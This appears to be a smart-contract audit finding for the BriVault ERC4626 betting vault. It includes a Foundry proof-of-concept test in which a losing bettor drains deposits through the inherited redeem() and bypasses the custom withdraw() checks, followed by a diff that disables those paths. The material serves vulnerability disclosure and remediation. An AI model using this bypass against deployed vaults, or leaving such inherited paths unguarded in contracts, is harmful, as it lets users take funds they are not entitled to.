@> contract BriVault is ERC4626, Ownable {
@> function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
}
}
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/BriVault.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract ERC4626BypassTest is Test {
BriVault public vault;
ERC20Mock public asset;
address public owner = makeAddr("owner");
address public alice = makeAddr("alice");
function setUp() public {
asset = new ERC20Mock();
vm.startPrank(owner);
vault = new BriVault(
asset,
300,
block.timestamp + 1 days,
makeAddr("feeAddress"),
10 * 10**18,
block.timestamp + 30 days
);
string[48] memory countries;
countries[0] = "Team A";
countries[1] = "Team B";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(alice, 1000 * 10**18);
}
function testBypassViaERC4626Withdraw() public {
vm.startPrank(alice);
asset.approve(address(vault), type(uint256).max);
uint256 shares = vault.deposit(1000 * 10**18, alice);
vault.joinEvent(0);
vm.stopPrank();
vm.warp(block.timestamp + 31 days);
vm.prank(owner);
vault.setWinner(1);
vm.prank(alice);
vm.expectRevert(BriVault.didNotWin.selector);
vault.withdraw();
vm.prank(alice);
uint256 withdrawn = vault.redeem(shares, alice, alice);
assertGt(withdrawn, 900 * 10**18, "Alice withdrew funds despite losing bet");
assertEq(vault.balanceOf(alice), 0, "Alice burned all shares");
}
function testBypassViaERC4626BeforeEventEnds() public {
vm.startPrank(alice);
asset.approve(address(vault), type(uint256).max);
uint256 shares = vault.deposit(1000 * 10**18, alice);
vm.stopPrank();
vm.prank(alice);
uint256 withdrawn = vault.redeem(shares, alice, alice);
assertGt(withdrawn, 900 * 10**18, "Alice withdrew before event started");
}
}
contract BriVault is ERC4626, Ownable {
+ // Override ERC4626 withdraw to disable it
+ function withdraw(uint256 assets, address receiver, address owner)
+ public
+ virtual
+ override
+ returns (uint256)
+ {
+ revert("Use custom withdraw() after event");
+ }
+
+ // Override ERC4626 redeem to disable it
+ function redeem(uint256 shares, address receiver, address owner)
+ public
+ virtual
+ override
+ returns (uint256)
+ {
+ revert("Use custom withdraw() after event");
+ }
// Keep existing custom withdraw function
function withdraw() external winnerSet {
// ... existing logic
}
}